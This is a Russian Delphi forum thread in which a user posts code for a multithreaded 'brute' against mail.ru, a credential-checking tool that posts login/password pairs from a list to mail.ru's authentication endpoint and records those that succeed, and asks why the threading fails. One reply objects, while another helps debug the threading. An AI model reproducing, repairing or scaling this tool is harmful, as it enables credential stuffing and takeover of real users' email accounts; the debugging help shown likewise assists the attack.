Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 07.01.2013, 10:49   #1
danil123
Пользователь
 
Регистрация: 06.07.2012
Сообщений: 80
По умолчанию Не работает многопоточность

Пытаюсь сделать свой первый многопоточнй брут mail.ru, только он не работает. Может подскажете , где ошибка?
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdCookieManager, IdIOHandler, IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Memo1: TMemo;
    Memo2: TMemo;
    OpenDialog1: TOpenDialog;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    IdCookieManager1: TIdCookieManager;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
      private
    { Private declarations }
  public
    { Public declarations }
     end;

     tnewthread=class(tthread)
     private
     protected
      procedure  execute;override;
      public
      procedure synhro;
      constructor create(createsuspended:boolean);
     end;

var
  Form1: TForm1;
  nom:integer;
  a:array[1..50]of tnewthread;

implementation

{$R *.dfm}

  constructor tnewthread.create(createsuspended:boolean);
  begin
    inherited  create(createsuspended);
  end;


procedure TForm1.Button1Click(Sender: TObject);
var pot:integer;
begin
for pot := 1 to 50 do
a[pot]:=tnewthread.create(false);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if opendialog1.Execute then memo2.Lines.LoadFromFile(opendialog1.FileName);
end;

procedure tnewthread.synhro;
var i:integer;
begin
for I := 0 to 100 do
  begin
  sleep(1000);
  synchronize(execute);
  end;

end;

procedure tnewthread.Execute;
var login,pass,domain,response:string;
data:tstringlist;
i:integer;
begin
form1.IdSSLIOHandlerSocketOpenSSL1.SSLOptions.Method:=sslvSSLv2;
for I := 0 to form1.memo2.lines.count - 1 do
begin
  login:=copy(form1.Memo2.Lines[i],1,pos('@',form1.memo2.lines[i])-1);
  pass:=copy(form1.Memo2.Lines[i],pos(';',form1.memo2.lines[i])+1,length(form1.Memo2.Lines[i]));
  domain:=copy(form1.Memo2.Lines[i],pos('@',form1.memo2.lines[i])+1,length(form1.Memo2.Lines[i])-length(pass)-length(login)-2);
  data:=tstringlist.Create;
  data.Add('domain='+domain);
  data.Add('login='+login);
  data.Add('pass='+pass);
  data.Add('level=0');
  response:=form1.IdHTTP1.Post('https://auth.mail.ru/cgi-bin/auth',data);
  if pos('fail=1',response)=0 then form1.memo1.lines.Add(login+';'+pass);
  data.Clear;
  form1.idhttp1.Free;
   end;


end;
end.
danil123 вне форума Ответить с цитированием
Старый 07.01.2013, 13:24   #2
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Ты не на тот форум пришел.
Человек_Борща вне форума Ответить с цитированием
Старый 07.01.2013, 13:29   #3
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
a[pot]:=tnewthread.create(false);
Во-первых ты его остановил при создании и нигде не запускаешь.
Цитата:
synchronize(execute);
Во-вторых синхронизировать нужно не процедуру потока, а те моменты, которые обращаются к форме для записи (в твоем случае).
Цитата:
for I := 0 to 100 do
А вот это называется "делать нечего, сделаю что нибудь".
Зачем столько потоков? Лучше не станет.

Изучай литературу про TThread внимательнее. В твоем случае false для остановки потока при создании не нужно.
I'm learning to live...

Последний раз редактировалось Stilet; 07.01.2013 в 13:33.
Stilet вне форума Ответить с цитированием
Старый 07.01.2013, 14:28   #4
danil123
Пользователь
 
Регистрация: 06.07.2012
Сообщений: 80
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
Во-вторых синхронизировать нужно не процедуру потока, а те моменты, которые обращаются к форме для записи (в твоем случае).
Что это значит и как это сделать?
danil123 вне форума Ответить с цитированием
Старый 07.01.2013, 14:55   #5
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

http://www.infocity.kiev.ua/prog/del...elphi050.phtml
Тут пример синхронизации есть. Синхронизация вызывается из execute, а не извне.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Многопоточность garyanikin Работа с сетью в Delphi 5 16.11.2012 14:24
Многопоточность nats C# (си шарп) 5 25.06.2011 11:51
Многопоточность c++, некорректно работает WaitForMultipleObjects bazilior Помощь студентам 0 17.04.2010 18:51
Многопоточность JakSon Общие вопросы Delphi 10 27.12.2009 02:19